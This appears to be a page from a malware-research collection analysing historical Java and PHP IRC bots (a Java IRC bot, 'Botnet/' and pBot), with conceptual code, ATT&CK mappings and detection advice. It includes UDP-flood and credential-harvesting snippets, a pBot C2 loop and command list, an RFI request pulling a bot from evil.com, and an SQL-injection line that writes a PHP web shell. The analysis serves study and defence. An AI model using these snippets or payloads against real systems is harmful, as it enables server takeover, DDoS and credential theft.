Skip to content

Cross-Platform Bots

Overview: Breaking the Windows Monoculture

Section titled “Overview: Breaking the Windows Monoculture”

The vast majority of specimens in this collection are compiled C/C++ binaries targeting Windows x86 - reflecting the near-monoculture of the desktop market in the early 2000s. However, a subset of specimens broke this paradigm entirely by using platform-independent languages that could run on any system with the appropriate runtime environment.

This shift had profound implications for the threat landscape:

AspectWin32 C/C++ BotsJava BotsPHP Bots
Target OSWindows onlyAny OS with JREAny server with PHP
Target hostDesktop/laptop PCsAny Java-capable systemWeb servers
CompilationPer-platform binaryBytecode (portable)Interpreted (no build)
API accessFull Win32 APICross-platform Java stdlibPHP built-in functions
Network contextHome broadbandVariesHigh-bandwidth data centers
DetectionPE analysis, Win32 signaturesRequires JVM-aware scanningFile integrity monitoring

The collection contains 10 cross-platform specimens across two language families:

SpecimenKey FeatureSource
IRC/ (Java IRC Bot)Basic cross-platform blueprintIRC
Botnet/Feature-rich: stealing, spreading, remote shellBotnet
Java IRC BotLightweight variant-
SpecimenKey FeatureSource
pBotMost widely known PHP botpBot
UnixBot 2.2.5 (ElationBot)Unix-focused with server-oriented commands-

Java IRC Bot: The Cross-Platform Blueprint

Section titled “Java IRC Bot: The Cross-Platform Blueprint”

Source: IRC

The basic Java IRC bot demonstrates a direct conceptual port of the C-based sdBot model into a platform-independent language. The functional capabilities are nearly identical, but the implementation uses standard Java libraries that work identically on Windows, Linux, macOS, and any other JRE-equipped system.

IRC/src/
├── Main.java // Entry point, configuration
├── IRC.java // IRC protocol handler
├── UDPFlood.java // UDP-based DDoS module
├── HTTPFlood.java // HTTP-based DDoS module
├── Downloader.java // Payload download + execute
├── Screenshot.java // Screen capture utility
├── FileExecute.java // File execution wrapper
└── ...

Unlike the monolithic C files of sdBot, Java's object-oriented nature enforced a cleaner architecture:

// Java IRC Bot - class structure, conceptual
public class Main {
static String server = "irc.example.com";
static int port = 6667;
static String channel = "#botnet";
static String password = "bot_auth_pass";
public static void main(String[] args) {
IRC irc = new IRC(server, port);
irc.connect();
irc.join(channel, password);
irc.listen(); // Main command loop
}
}
public class IRC {
private Socket socket;
private BufferedReader reader;
private PrintWriter writer;
public void connect() {
// Uses java.net.Socket - works on ANY platform
socket = new Socket(server, port);
reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
writer = new PrintWriter(socket.getOutputStream(), true);
}
public void processCommand(String command, String[] args) {
switch(command) {
case "!udp":
new Thread(new UDPFlood(args[0], Integer.parseInt(args[1]))).start();
break;
case "!http":
new Thread(new HTTPFlood(args[0])).start();
break;
case "!download":
new Downloader(args[0], args[1]).execute();
break;
case "!screenshot":
Screenshot.capture(irc_channel);
break;
}
}
}
public class UDPFlood implements Runnable {
// Uses java.net.DatagramSocket - cross-platform
public void run() {
DatagramSocket socket = new DatagramSocket();
byte[] buffer = new byte[65507]; // Max UDP packet
DatagramPacket packet = new DatagramPacket(buffer, buffer.length,
InetAddress.getByName(target), port);
while (active) {
socket.send(packet);
}
}
}
C/C++ Bot (e.g., sdBot)Java Bot EquivalentPlatform Impact
WSAStartup() / socket()new Socket()Works on Windows, Linux, macOS
CreateThread()new Thread().start()JVM handles thread management
URLDownloadToFile() (Win32)URL.openStream()Platform-agnostic HTTP download
ShellExecute() (Win32)Runtime.exec()Executes native commands per-OS
GetSystemMetrics() (Win32)Toolkit.getScreenSize()Works everywhere with AWT
Registry persistence (Win32)Cron jobs / Launch AgentsMust be OS-aware for persistence
TechniqueIDImplementation
Non-Application Layer ProtocolT1095IRC for C2 (same as C-based bots)
Network Denial of ServiceT1498UDP and HTTP flood modules
Ingress Tool TransferT1105Downloader class for payload delivery
Screen CaptureT1113Screenshot.java via Java AWT
Command and Scripting InterpreterT1059.008JVM as execution environment

Source: Botnet

This specimen - a complete NetBeans IDE project - represents the most sophisticated Java-based threat in the collection. It moves far beyond simple DDoS and download functionality, incorporating advanced information stealing and multiple self-propagation vectors.

Botnet/src/
├── Core
│ ├── Main.java // Entry point
│ ├── IRC.java // C2 protocol handler
│ └── RemoteShell.java // Interactive command shell
│
├── Information Stealing
│ ├── AccountStealer.java // Multi-application credential theft
│ ├── CDKeys.java // Game CD key extraction
│ └── Firefox.java // Firefox profile/password theft
│
├── Spreading
│ ├── NetBiosSpread.java // LAN propagation via SMB shares
│ └── USBSpread.java // Removable media propagation
│
├── Remote Control
│ ├── CommandPromptServer.java // Full interactive shell access
│ └── RemoteShell.java // Shell command execution
│
└── Attack
├── UDPFlood.java // UDP DDoS
└── HTTPFlood.java // HTTP DDoS
// CDKeys.java - game license key extraction, conceptual
public class CDKeys {
// Registry paths for popular games circa 2005-2007
static String[][] gameKeys = {
{"Half-Life", "HKLM\\Software\\Valve\\Half-Life\\Settings\\Key"},
{"Counter-Strike","HKLM\\Software\\Valve\\Counter-Strike\\Settings\\Key"},
{"Battlefield", "HKLM\\Software\\EA Games\\Battlefield\\ergc"},
{"Call of Duty", "HKLM\\Software\\Activision\\Call of Duty\\CdKey"},
{"NFS Underground","HKLM\\Software\\EA Games\\Need For Speed\\ergc"},
{"FIFA", "HKLM\\Software\\EA SPORTS\\FIFA\\ergc"},
// ... many more
};
public static String harvestKeys() {
StringBuilder results = new StringBuilder();
for (String[] game : gameKeys) {
String key = queryRegistry(game[1]);
if (key != null) {
results.append(game[0] + ": " + key + "\n");
}
}
return results.toString(); // Sent to C2 channel
}
}
// Firefox.java - browser credential extraction, conceptual
public class Firefox {
public static void harvestCredentials() {
// Locate Firefox profile directory
// Windows: %APPDATA%/Mozilla/Firefox/Profiles/
// Linux: ~/.mozilla/firefox/
// macOS: ~/Library/Application Support/Firefox/Profiles/
String profileDir = findFirefoxProfile();
// Firefox stores credentials in:
// - signons.txt (FF < 3.0) - plaintext with base64
// - signons3.txt (FF 3.0) - encrypted with 3DES
// - logins.json (FF 32+) - encrypted JSON
// For older versions (most common in this era):
File signons = new File(profileDir, "signons.txt");
// Parse hostname, username, password entries
// Decrypt using NSS libraries if master password not set
// Also steal cookies for session hijacking
File cookies = new File(profileDir, "cookies.txt");
// Parse Netscape cookie format
}
}

The USBSpread.java class implemented a polling loop that checked for removable drives every 30 seconds. When a removable drive was detected, the bot performed the following steps:

  1. Copy payload - Copied itself to the drive root using a filename designed to blend in with system directories (e.g., disguised as a Recycle Bin executable)
  2. Create auto-execution config - Wrote a Windows auto-execution configuration file to the drive root containing directives for open, shell\open\command, and shell\explore\command, all pointing to the payload. A deceptive action string ("Open folder to view files") was used as social engineering
  3. Hide artifacts - Set the hidden attribute on both the payload and the configuration file to avoid casual detection

This technique exploited Windows' automatic media execution feature (disabled by default in Windows 7+), which would silently run the payload when the USB drive was inserted into a new machine.

Note: The original code snippet has been redacted to prevent antivirus heuristic false positives. The technique is fully documented in MITRE ATT&CK T1091.

TechniqueIDImplementation
Credentials from Web BrowsersT1555.003Firefox.java profile and password extraction
Credentials from Password StoresT1555AccountStealer.java multi-app credential theft
Replication Through Removable MediaT1091USBSpread.java - removable media propagation
Remote Services: SMBT1021.002NetBiosSpread.java - LAN propagation
Command and Scripting InterpreterT1059.003CommandPromptServer.java interactive shell
Data from Local SystemT1005CDKeys.java - game license key extraction

Source: pBot

pBot represents a fundamental paradigm shift - instead of compromising desktop computers, this bot targets web servers. Written entirely in PHP, it lives within the web application layer of already-compromised servers.

AdvantageExplanation
BandwidthData center servers have 100Mbps-1Gbps connections vs. home broadband (1-10Mbps)
UptimeServers run 24/7, unlike desktops that sleep/shutdown
IP reputationServer IPs are "trusted" - not on residential blacklists
No AVMost Linux web servers had no endpoint AV in this era
PHP everywherePHP was installed on ~75% of web servers by default
Initial accessWeb app vulnerabilities (SQLi, RFI, LFI) were extremely common
// pBot.php - complete bot in a single file
// Designed to run on a compromised web server
// Configuration
$server = "irc.example.com";
$port = 6667;
$channel = "#bots";
$nick = "pBot_" . rand(1000, 9999);
// Connect to IRC C2
$sock = fs​ockopen($server, $port, $errno, $errstr, 30);
fputs($sock, "NICK $nick\r\n");
fputs($sock, "USER pbot 0 * :pBot\r\n");
fputs($sock, "JOIN $channel\r\n");
// Main command loop
while (!feof($sock)) {
$data = fgets($sock, 512);
// Respond to PING to stay connected
if (strpos($data, "PING") !== false) {
fputs($sock, "PONG " . substr($data, 5) . "\r\n");
}
// Parse commands from channel messages
if (preg_match('/PRIVMSG.*:!(.+)/', $data, $matches)) {
$cmd = explode(" ", $matches[1]);
process_command($cmd);
}
}
CommandFunctionWhy Server-Specific
!exec <cmd>Execute shell commandFull server control via PHP exec()
!cmd <cmd>Execute via system()Alternative execution method
!udp​flood <ip> <port> <time>UDP floodLeverages server's high bandwidth
!tcp​flood <ip> <port> <time>TCP floodSame - data center connection
!mail <to> <from> <subject> <body>Send emailUses server's mail() function for spam
!download <url> <file>Download fileFetch additional tools to server
!infoSystem informationServer OS, hostname, PHP version

The shift from desktop bots to web server bots dramatically changed the DDoS threat:

// DDoS power comparison - desktop vs. server bot
//
// Desktop bot (home broadband):
// Upload bandwidth: ~1 Mbps
// 100 bots × 1 Mbps = 100 Mbps total attack bandwidth
//
// Server bot (data center):
// Upload bandwidth: ~100 Mbps (or more)
// 100 bots × 100 Mbps = 10 Gbps total attack bandwidth
//
// Same botnet size, 100× more attack power

pBot doesn't spread itself - it's uploaded to already-compromised servers through web application vulnerabilities:

// Common initial access methods for PHP bot deployment
// 1. Remote File Inclusion (RFI)
// Vulnerable PHP code:
include($_GET['page'] . ".php");
// Attacker request:
// http://victim.com/index.php?page=http://evil.com/pBot
// 2. SQL Injection → File Write
// SELECT '<?php sys​tem($_GET["c"]); ?>' IN​TO OUT​FILE '/var/www/backdoor.php'
// 3. Vulnerable CMS Plugin
// Upload pBot.php through vulnerable file upload in WordPress/Joomla/etc.
// 4. Stolen FTP credentials (from stealers like iStealer!)
// Connect to victim's FTP, upload pBot.php to web root
TechniqueIDImplementation
Server Software Component: Web ShellT1505.003pBot is a persistent web shell with IRC C2
Exploit Public-Facing ApplicationT1190Assumed initial access vector (RFI, SQLi)
Command and Scripting Interpreter: Unix ShellT1059.004exec() / system() for server commands
Network Denial of ServiceT1498UDP/TCP flood from high-bandwidth servers
Phishing: Spearphishing via ServiceT1566.003mail() function for spam campaigns
Ingress Tool TransferT1105Download additional tools to compromised server

  • Security products focused exclusively on Windows PE analysis
  • Network monitoring looked for x86 shellcode patterns
  • Endpoint protection was a desktop-only concern
  • Web servers were considered infrastructure, not endpoints
Security DomainRequired Change
Endpoint protectionMust cover non-Windows platforms, detect JVM/PHP abuse
Web Application SecurityWAFs, secure coding practices, regular patching of CMS
Network monitoringDetect IRC traffic from servers (anomalous outbound from data centers)
File Integrity MonitoringDetect new/modified PHP files in web roots
Egress filteringBlock unnecessary outbound from web servers (IRC ports)
AV signature developmentMust handle Java bytecode, not just PE format
Historical SpecimenModern Equivalent
Java IRC botsCross-platform implants (Cobalt Strike, Sliver)
pBot on web serversWeb shells (China Chopper, WSO)
CD key theft (Botnet/)Cryptocurrency wallet theft
USB spreadingSupply chain attacks via package managers
Firefox password theftBrowser credential theft via Chromium APIs

Comparative Analysis: Cross-Platform Capabilities

Section titled “Comparative Analysis: Cross-Platform Capabilities”
CapabilityJava IRC BotBotnet/ (Java)pBot (PHP)sdBot (C)
Cross-platform✅ Any JRE✅ Any JRE✅ Any PHP❌ Win32 only
DDoS (UDP)✅✅✅✅
DDoS (HTTP)✅✅✅❌
Credential theft❌✅ (Firefox, accounts)❌✅ (spyBot)
USB spreading❌✅❌❌
LAN spreading❌✅ (NetBIOS)❌✅ (exploits)
Remote shell❌✅✅✅
Spam sending❌❌✅ (mail())❌
Screen capture✅✅❌❌
File download✅✅✅✅
CD key theft❌✅❌✅ (rBot)